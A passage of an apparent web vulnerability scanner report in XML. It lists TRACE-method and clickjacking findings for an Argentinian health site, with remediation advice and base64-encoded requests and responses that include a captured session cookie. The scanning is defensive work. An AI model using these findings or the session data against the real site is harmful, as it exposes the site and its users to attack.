L3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
114 <responseRedirected>false</responseRedirected>
115 </requestresponse>
116 </issue>
117 <issue>
118 <serialNumber>3685188967706670080</serialNumber>
119 <type>5245440</type>
120 <name>TRACE method is enabled</name>
121 <host ip="200.20.20.201">http://www.example.org.ar</host>
122 <path><![CDATA[/]]></path>
123 <location><![CDATA[/]]></location>
124 <severity>Information</severity>
125 <confidence>Certain</confidence>
126 <issueBackground><![CDATA[The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.<br><br>Although this behavior is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.]]></issueBackground>
127 <remediationBackground><![CDATA[The TRACE method should be disabled on the web server.]]></remediationBackground>
128 <requestresponse>
129 <request base64="true"><![CDATA[VFJBQ0UgLyBIVFRQLzEuMA0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQ29va2llOiBhYzMyNzQ2YjdhYzA2YzE5DQoNCg==]]></request>
130 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiBtZXNzYWdlL2h0dHANCg0KVFJBQ0UgLyBIVFRQLzEuMA0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQ29va2llOiBhYzMyNzQ2YjdhYzA2YzE5OyBQSFBTRVNTSUQ9OTQ1ODVhYTBjMTFjZjJlODY0ZDgzZTI0Njc4Yjk4NjUNCg0K]]></response>
131 <responseRedirected>false</responseRedirected>
132 </requestresponse>
133 </issue>
134 <issue>
135 <serialNumber>739390687228795904</serialNumber>
136 <type>5245344</type>
137 <name>Frameable response (potential Clickjacking)</name>
138 <host ip="200.20.20.201">http://www.example.org.ar</host>
139 <path><![CDATA[/]]></path>
140 <location><![CDATA[/]]></location>
141 <severity>Information</severity>
142 <confidence>Firm</confidence>
143 <issueBackground><![CDATA[It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a "clickjacking" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.<br><br>Note that this issue is being reported because the application's response does not set a suitable <b>X-Frame-Options</b> header in order to prevent framing attacks. Some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.]]></issueBackground>
144 <remediationBackground><![CDATA[You should review the application functions that are accessible from within the response, and determine whether they can be used by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions.<br><br>To effectively prevent framing attacks, the application should return a response header with the name <b>X-Frame-Options</b> and the value <b>DENY</b> to prevent framing altogether, or the value <b>SAMEORIGIN</b> to allow framing only by pages on the same origin as the response itself.]]></remediationBackground>
145 <requestresponse>
146 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
147 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcm